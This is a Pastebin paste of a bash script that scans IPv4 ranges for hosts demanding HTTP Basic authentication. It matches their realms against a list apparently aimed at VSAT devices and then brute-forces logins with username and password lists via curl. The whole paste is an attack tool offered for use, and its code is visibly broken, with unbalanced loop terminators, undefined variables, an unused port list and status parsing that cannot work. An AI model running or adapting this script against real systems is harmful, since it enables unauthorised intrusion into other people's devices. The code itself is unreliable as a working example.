Advertisement
Guest User

asda

a guest
May 5th, 2015
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.44 KB | None | 0 0
  1. old="$IFS"
  2. IFS='
  3. '
  4. set -f
  5. for ((x = $1; x < 255; x++));
  6. do
  7. for ((y = $2; y < 255; y++));
  8. do
  9. for ((z = $3; z < 255; z++));
  10. do
  11. for ((f = $4; f < 255; f++));
  12. do
  13. class=$x.$y.$z.$f
  14. parallel=40
  15. echo "Parallels set to: $parallel"
  16.  
  17. status() { curl -s -S -w '%{http_code}' -o /dev/null "$class"; }
  18.  
  19. if [ "$(status)" = "401" ]; then
  20. echo "[~] Ol good Bruteforce **** [X] Stage 1. Success. Target $class, HTTP Protected"
  21. fi
  22.  
  23.  
  24. echo "Realm on file: $h"
  25.  
  26. match() { curl -si "$class" | tr -d '\r' | sed -En 's/^WWW-Authenticate: (.*)/\1/p'; }
  27.  
  28. echo "$(match)"
  29.  
  30. if grep -Fx "$(match)" vsatrealm.lst; then echo "The realm is in the list"; fi
  31. echo "[~] Ol' good Bruteforce **** [X] Stage 2. Matching Basic Realm patterns found."
  32. fi
  33. done;
  34.  
  35. for r in $(cat portlist.lst);
  36. do
  37. for a in $(cat username.lst);
  38. do
  39. for e in $(cat wordlist.lst);
  40. do
  41.  
  42. brut() { curl -s -S --user "$a":"$e" http://"$class" | tr -d '\r' | sed -En 's/^Error: (.*)/\1/p'; }
  43.  
  44. if [ "$(brut)" = "401" ]; then
  45. echo "[~] Ol' good Bruteforce **** [X] Stage 3. Cracking with username: $a password: $e on port: $r are wrong credentials"
  46. elif [ "$(brut)" = "200" ];then
  47. echo "[~] Ol' good Bruteforce **** [X] Stage 3. Success!! with username: $a password: $e on port: $r"
  48. else echo "[~] Ol' good Bruteforce **** [X] Stage 3. Didn't get to bruteforce function."
  49. fi
  50.  
  51. done;
  52. wait;
  53. done;
  54. done;
  55. done;
  56. done;
  57. done;
  58. IFS=$OLDIFS
  59. set +f
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement